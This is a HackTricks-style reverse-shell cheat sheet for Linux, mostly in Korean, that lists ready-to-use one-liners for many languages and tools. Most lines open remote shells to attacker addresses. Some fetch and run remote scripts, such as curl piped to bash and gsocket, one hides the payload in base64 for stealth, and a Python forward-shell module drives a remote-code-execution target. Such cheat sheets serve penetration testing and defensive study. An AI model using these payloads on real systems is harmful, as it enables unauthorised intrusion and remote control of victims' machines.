hacktricks/generic-methodologies-and-resources/reverse-shells/linux.md

# Shells - Linux

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**이 쉘에 대한 질문이 있으면** [**https://explainshell.com/**](https://explainshell.com) **를 확인할 수 있습니다.**

## Full TTY

**리버스 쉘을 얻으면**[ **전체 TTY를 얻으려면 이 페이지를 읽으세요**](full-ttys.md)**.**

## Bash | sh
```bash
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0
```
다른 셸(sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash)도 확인하는 것을 잊지 마세요.

### 기호 안전 셸
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
#### Shell 설명

1. **`bash -i`**: 이 명령의 일부는 대화형(`-i`) Bash 셸을 시작합니다.
2. **`>&`**: 이 명령의 일부는 **표준 출력**(`stdout`)과 **표준 오류**(`stderr`)를 **같은 목적지로 리디렉션하는** 약식 표기법입니다.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: 이것은 **지정된 IP 주소와 포트에 대한 TCP 연결을 나타내는** 특수 파일입니다.
* **출력 및 오류 스트림을 이 파일로 리디렉션함으로써**, 명령은 대화형 셸 세션의 출력을 공격자의 머신으로 효과적으로 전송합니다.
4. **`0>&1`**: 이 명령의 일부는 **표준 입력(`stdin`)을 표준 출력(`stdout`)과 같은 목적지로 리디렉션합니다**.

### 파일 생성 및 실행
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```
## Forward Shell

Linux 기반 웹 애플리케이션 내에서 **Remote Code Execution (RCE)** 취약점을 다룰 때, 리버스 셸을 얻는 것이 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해받을 수 있습니다. 이러한 제한된 환경에서는 손상된 시스템과 보다 효과적으로 상호작용하기 위해 PTY (Pseudo Terminal) 셸을 설정하는 대안적 접근 방식이 필요합니다.

이 목적을 위해 추천되는 도구는 [toboggan](https://github.com/n3rada/toboggan.git)으로, 이는 대상 환경과의 상호작용을 단순화합니다.

toboggan을 효과적으로 사용하려면, 대상 시스템의 RCE 맥락에 맞춘 Python 모듈을 생성해야 합니다. 예를 들어, `nix.py`라는 모듈은 다음과 같이 구성될 수 있습니다:
```python3
import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)

response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)

# Check if the request was successful
response.raise_for_status()

return response.text
```
그리고 나서, 다음을 실행할 수 있습니다:
```shell
toboggan -m nix.py -i
```
To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper.

또 다른 가능성은 `IppSec` 포워드 셸 구현을 사용하는 것입니다 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).

You just need to modify:

* 취약한 호스트의 URL
* 페이로드의 접두사 및 접미사 (있는 경우)
* 페이로드가 전송되는 방식 (헤더? 데이터? 추가 정보?)

Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).

## Netcat
```bash
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## gsocket

[https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)에서 확인하세요.
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
## 텔넷
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## Whois

**공격자**
```bash
while true; do nc -l <port>; done
```
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 눌러 STDIN을 중지합니다.

**Victim**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```
## 파이썬
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```
## 펄
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## 루비
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## PHP
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
```
## 자바
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
## Ncat
```bash
victim> ncat <ip> <port,eg.443> --ssl  -c  "bash -i 2>&1"
attacker> ncat -l <port,eg.443> --ssl
```
## 고랭
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## 루아
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## NodeJS
```javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
## OpenSSL

공격자 (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
피해자
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
## **Socat**

[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)

### 바인드 셸
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
### 리버스 셸
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
## Finger

**공격자**
```bash
while true; do nc -l 79; done
```
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 눌러 STDIN을 중지합니다.

**희생자**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
## Gawk
```bash
#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
```
## Xterm

이것은 포트 6001에서 귀하의 시스템에 연결을 시도합니다:
```bash
xterm -display 10.0.0.1:1
```
역방향 셸을 잡기 위해 사용할 수 있는 것은 (포트 6001에서 수신 대기할 것입니다):
```bash
# Authorize host
xhost +targetip
# Listen
Xnest :1
```
## Groovy

by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 주의: Java 리버스 셸은 Groovy에서도 작동합니다.
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
## References

* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

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